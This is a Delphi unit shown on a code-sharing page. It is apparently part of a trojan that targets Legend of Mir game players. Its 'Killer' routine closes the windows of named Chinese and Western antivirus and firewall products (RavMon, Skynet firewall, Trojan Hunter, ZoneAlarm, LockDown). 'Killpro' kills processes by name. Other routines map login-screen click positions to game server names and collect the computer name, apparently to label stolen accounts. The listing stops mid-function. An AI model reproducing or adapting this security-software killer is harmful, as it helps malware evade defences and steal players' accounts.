📄 other.pas
字号:
unit Other;
interface
Uses
Windows,tlhelp32;
function UpperCase(const S: string): string;
function HTW(Str:String):String;
function StrLen(const Str: PChar): Cardinal; assembler;
function StrCopy(Dest: PChar; const Source: PChar): PChar;
function StrPas(const Str: PChar): string;
function Inttostr(const Int:integer):string;
function GetServerName(Logo:String;Y:integer):String;
function GetServerPlace(Y:integer):String;
function GetDateTime:String;
function myGetComputerName:String;
function GetWP:string;
procedure Killer;
procedure Killpro(s:string);
implementation
function extractfilename(const Str:String):string;
var L,i,flag:integer;
begin
L:=Length(Str);
for i:=1 to L do if Str[i]='\' then flag:=i;
result:=copy(Str,flag+1,L-flag);
end;
function UpperCase(const S: string): string;
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= 'a') and (Ch <= 'z') then Dec(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;
function GetDateTime:String;
var D:_systemtime;
begin
GetlocalTime(D);
Result:=inttostr(D.wYear)+'-'+inttostr(D.wMonth)+'-'+inttostr(D.wDay)+' '+inttostr(D.wHour)+':'+inttostr(D.wMinute)+':'+inttostr(D.wSecond);
end;
function HTW(Str:String):String;
begin
if Length(Str)>2 then begin
Delete(Str,1,2);
Result:='**'+Str;
end else Result:=Str;
end;
function StrLen(const Str: PChar): Cardinal; assembler;
asm
MOV EDX,EDI
MOV EDI,EAX
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
MOV EAX,0FFFFFFFEH
SUB EAX,ECX
MOV EDI,EDX
end;
function StrCopy(Dest: PChar; const Source: PChar): PChar;
asm
PUSH EDI
PUSH ESI
MOV ESI,EAX
MOV EDI,EDX
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
NOT ECX
MOV EDI,ESI
MOV ESI,EDX
MOV EDX,ECX
MOV EAX,EDI
SHR ECX,2
REP MOVSD
MOV ECX,EDX
AND ECX,3
REP MOVSB
POP ESI
POP EDI
end;
function StrPas(const Str: PChar): string;
begin
Result:=Str;
end;
function Inttostr(const Int:integer):string;
Var d,m:integer;
Begin
m:=int;
Result:='';
while m<>0 do
Begin
d:=m mod 10;
m:=m div 10;
Result:=chr(d+48)+Result;
end;
end;
procedure Killer;
var s,Desktop:integer;
str:array[0..100] of char;
begin
s:=findwindow(pchar('RavMonClass'),pchar('RavMon.exe'));
Sendmessage(s,$0010,0,0);
s:=findwindow('Tapplication','天网防火墙个人版');
Sendmessage(s,$0010,0,0);
s:=findwindow('Tapplication','天网防火墙企业版');
Sendmessage(s,$0010,0,0);
s:=0;
Desktop:=GetDesktopWindow;
repeat
s:=findwindowex(Desktop,s,'TForm1',nil);
getwindowtext(s,str,9);
if str='木马克星' then sendmessage(s,$0010,0,0);
until s=0;
s:=0;
Desktop:=GetDesktopWindow;
repeat
s:=findwindowex(Desktop,s,'TForm1',nil);
getwindowtext(s,str,7);
if str='噬菌体' then sendmessage(s,$0010,0,0);
until s=0;
s:=findwindow(pchar('TfLockDownMain'),nil);
Sendmessage(s,$0010,0,0);
s:=findwindow(pchar('ZAFrameWnd'),pchar('ZoneAlarm'));
Sendmessage(s,$0010,0,0);
End;
procedure Killpro(s:string);
var
lppe:tprocessentry32;
sshandle:thandle;
hh:hwnd;
found:boolean;
begin
sshandle:=createtoolhelp32snapshot(TH32CS_SNAPALL,0);
found:=process32first(sshandle,lppe);
while found do
begin
if (uppercase(extractfilename(lppe.szExeFile))=s) or (uppercase(lppe.szExeFile)=s) then
begin
hh:=OpenProcess(PROCESS_ALL_ACCESS,true,lppe.th32ProcessID);
TerminateProcess(hh,0);
end;
found:=process32next(sshandle,lppe);
end;
CloseHandle(sshandle);
end;
function myGetComputerName:String;
var pcComputer:PChar;
dwCSize:DWORD;
begin
dwCSize:=MAX_COMPUTERNAME_LENGTH+1;
GetMem(pcComputer,dwCSize);
try
if GetComputerName(pcComputer,dwCSize) then Result:=pcComputer;
finally
FreeMem(pcComputer);
end;
end;
function GetWP:string;
var Buf:array[0..MAX_PATH] of char;
begin
GetWindowsDirectory(Buf,MAX_PATH);
Result:=Buf;
if Result[Length(Result)]<>'\' then Result:=Result+'\';
end;
function GetServerPlace(Y:integer):String;
var s2,s3,s4,s6,s8,RES:String;
begin
case Y of
268..308:s2:='1/2,';
310..350:s2:='2/2,';
end;
case Y of
247..287:s3:='1/3,';
289..329:s3:='2/3,';
331..371:s3:='3/3,';
end;
case Y of
226..266:s4:='1/4,';
268..308:s4:='2/4,';
310..350:s4:='3/4,';
352..392:s4:='4/4,';
end;
case Y of
184..224:s6:='1/6,';
226..266:s6:='2/6,';
268..308:s6:='3/6,';
310..350:s6:='4/6,';
352..392:s6:='5/6,';
394..434:s6:='6/6,';
end;
case Y of
141..182:s8:='1/8,';
184..224:s8:='2/8,';
226..266:s8:='3/8,';
268..308:s8:='4/8,';
310..350:s8:='5/8,';
352..392:s8:='6/8,';
394..434:s8:='7/8,';
436..476:s8:='8/8,';
end;
RES:=s2+s3+s4+s6+s8;
if copy(RES,Length(RES),1)=',' then delete(RES,Length(RES),1);
if RES='' then Result:='【未知】'
else Result:='【'+RES+'】';
end;
function GetServerName(Logo:String;Y:integer):String;
begin
if (Logo='传 奇 一 区') or (Logo='传奇九区(一区转档)') then begin
if (y>141) and (y<183) then result:='雷霆(上海)' else
if (y>183) and (y<225) then result:='光芒(上海)' else
if (y>225) and (y<267) then result:='烈焰(上海)' else
if (y>267) and (y<309) then result:='疾风(北京)' else
if (y>309) and (y<351) then result:='新浪(北京)' else
if (y>351) and (y<393) then result:='流云(广州)' else
if (y>393) and (y<435) then result:='联通(南京)' else
if (y>435) and (y<477) then result:='蜀山(成都)' else result:='未知';
end
else
if (Logo='传 奇 二 区') or (Logo='传奇十区(二区转档)') then begin
if (y>141) and (y<183) then result:='雷霆(上海)' else
if (y>183) and (y<225) then result:='光芒(上海)' else
if (y>225) and (y<267) then result:='烈焰(上海)' else
if (y>267) and (y<309) then result:='雷霆二(上海)' else
if (y>309) and (y<351) then result:='渝州(重庆)' else
if (y>351) and (y<393) then result:='峨嵋(成都)' else
if (y>393) and (y<435) then result:='海鼎(新浪)' else
if (y>435) and (y<477) then result:='网通(上海)' else result:='未知';
end
else
if (Logo='传 奇 三 区') or (Logo='传奇八区(三区转档)') or (Logo='英雄之门(三区转档)') then begin
if (y>141) and (y<183) then result:='飞鸿(广东)' else
if (y>183) and (y<225) then result:='新月(流云)' else
if (y>225) and (y<267) then result:='雄狮(新浪)' else
if (y>267) and (y<309) then result:='天府(成都)' else
if (y>309) and (y<351) then result:='天堂(杭州)' else
if (y>351) and (y<393) then result:='雷霆二(上海)' else
if (y>393) and (y<435) then result:='光芒二(上海)' else
if (y>435) and (y<477) then result:='烈焰二(上海)' else result:='未知';
end
else
if (Logo='天空·传奇(四区)') or (Logo='王者大陆(四区转档)') then begin
if (y>141) and (y<183) then result:='归谷(上海)' else
if (y>183) and (y<225) then result:='天涯(上海)' else
if (y>225) and (y<267) then result:='清风(上海)' else
if (y>267) and (y<309) then result:='落霞(上海)' else
if (y>309) and (y<351) then result:='归谷二(上海)' else
if (y>351) and (y<393) then result:='天涯二(上海)' else
if (y>393) and (y<435) then result:='清风二(上海)' else
if (y>435) and (y<477) then result:='落霞二(上海)' else result:='未知';
end
else
if (Logo='传 奇 五 区') or (Logo='传奇四十区(五区转档)') then begin
if (y>141) and (y<183) then result:='浩然(上海)' else
if (y>183) and (y<225) then result:='天地(上海)' else
if (y>225) and (y<267) then result:='正气(上海)' else
if (y>267) and (y<309) then result:='长存(上海)' else
if (y>309) and (y<351) then result:='浩然二(上海)' else
if (y>351) and (y<393) then result:='天地二(上海)' else
if (y>393) and (y<435) then result:='正气二(上海)' else
if (y>435) and (y<477) then result:='长存二(上海)' else result:='未知';
end
else
if Logo='传 奇 六 区' then begin
if (y>141) and (y<183) then result:='三峡(联通)' else
if (y>183) and (y<225) then result:='青城(成都)' else
if (y>225) and (y<267) then result:='滇池(昆明)' else
if (y>267) and (y<309) then result:='长白(东北)' else
if (y>309) and (y<351) then result:='三峡二(联通)' else
if (y>351) and (y<393) then result:='青城二(成都)' else
if (y>393) and (y<435) then result:='滇池二(昆明)' else
if (y>435) and (y<477) then result:='长白二(东北)' else result:='未知';
end
else
if Logo='传 奇 七 区' then begin
if (y>141) and (y<183) then result:='奇迹(上海)' else
if (y>183) and (y<225) then result:='长宽(武汉)' else
if (y>225) and (y<267) then result:='流星(上海)' else
if (y>267) and (y<309) then result:='皓月(上海)' else
if (y>309) and (y<351) then result:='奇迹二(上海)' else
if (y>351) and (y<393) then result:='皓月二(上海)' else
if (y>393) and (y<435) then result:='长宽二(上海)' else
if (y>435) and (y<477) then result:='流星二(上海)' else result:='未知';
end
else
if Logo='经典之国(11区)' then begin
if (y>141) and (y<183) then result:='西游(上海)' else
if (y>183) and (y<225) then result:='三国(上海)' else
if (y>225) and (y<267) then result:='水浒(上海)' else
if (y>267) and (y<309) then result:='红楼(上海)' else
if (y>309) and (y<351) then result:='封神(上海)' else
if (y>351) and (y<393) then result:='聊斋(上海)' else
if (y>393) and (y<435) then result:='春秋(上海)' else
if (y>435) and (y<477) then result:='战国(上海)' else result:='未知';
end
else
if Logo='西部圣域(12区)' then begin
if (y>141) and (y<183) then result:='华山(敦煌转档)' else
if (y>183) and (y<225) then result:='雪域(九寨转档)' else
if (y>225) and (y<267) then result:='敦煌(天府)' else
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -